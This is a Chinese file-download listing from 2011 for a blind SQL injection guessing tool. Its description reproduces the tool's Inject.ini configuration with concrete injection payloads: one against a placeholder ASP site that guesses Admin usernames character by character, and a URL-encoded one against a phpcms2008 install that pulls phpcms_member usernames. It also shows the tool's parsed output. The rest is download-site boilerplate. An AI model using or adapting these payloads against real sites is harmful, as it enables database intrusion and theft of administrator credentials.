开发工具:
文件大小: 5kb
下载次数: 0
上传时间: 2011-02-24
详细说明： 注入工具盲注猜解工具 ===配置文件Inject.ini=== 先贴出代码再说明: ------------------------------------- [url]手工猜字符语句完整URL 没有特殊字符过滤的语句： http://www.xxx.net/list.asp?id=286 and 0<>(select count(*) from Admin where asc(mid(username,1,1))>88) and 1=1 有特殊字符过滤的语句： http://127.0.0.1/phpcms2008_gbk/phpcms/yp/job.php?action=applylist&genre=%B2%A9%CA%BF%27 and 0%3c%3e%28select count%28*%29 from phpcms_member where ascii%28mid%28username,1,1%29%29%3e88 and userid=1%29# 参数设置运行后输出情况： Read Config & URL Match OK! url_main is http://127.0.0.1/phpcms2008 _gbk/phpcms/yp/job.php?action=applylist&g enre=%B2%A9%CA%BF%27 and 0%3c%3e%28select count%28*%29 from phpcms_member where ascii%28mid%28username, url_midcount is 1 url_a is ,1%29%29 url_ascii is %3e88 url_end is and userid=1%29# [url_strlen]字符串长度,要自己事先猜出来再写进来,很简单 10 [KeyString]关键词,自己取,最好是英文或汉字,繁体字有时候会报错 返回正常页面的时候我才会出现 [url_midcount]从字符串的第几个字符开始猜,可以不用管,默认从第一个开始 1 ...展开收缩
(系统自动生成,下载前可以参看下载内容)
下载文件列表
相关说明
- 本站资源为会员上传分享交流与学习,如有侵犯您的权益,请联系我们删除.
- 本站是交换下载平台，提供交流渠道，下载内容来自于网络，除下载问题外，其它问题请自行百度。
- 本站已设置防盗链，请勿用迅雷、QQ旋风等多线程下载软件下载资源，下载后用WinRAR最新版进行解压.
- 如果您发现内容无法下载，请稍后再次尝试；或者到消费记录里找到下载记录反馈给我们.
- 下载后发现下载的内容跟说明不相乎，请到消费记录里找到下载记录反馈给我们，经确认后退回积分.
- 如下载前有疑问，可以通过点击"提供者"的名字，查看对方的联系方式，联系对方咨询.
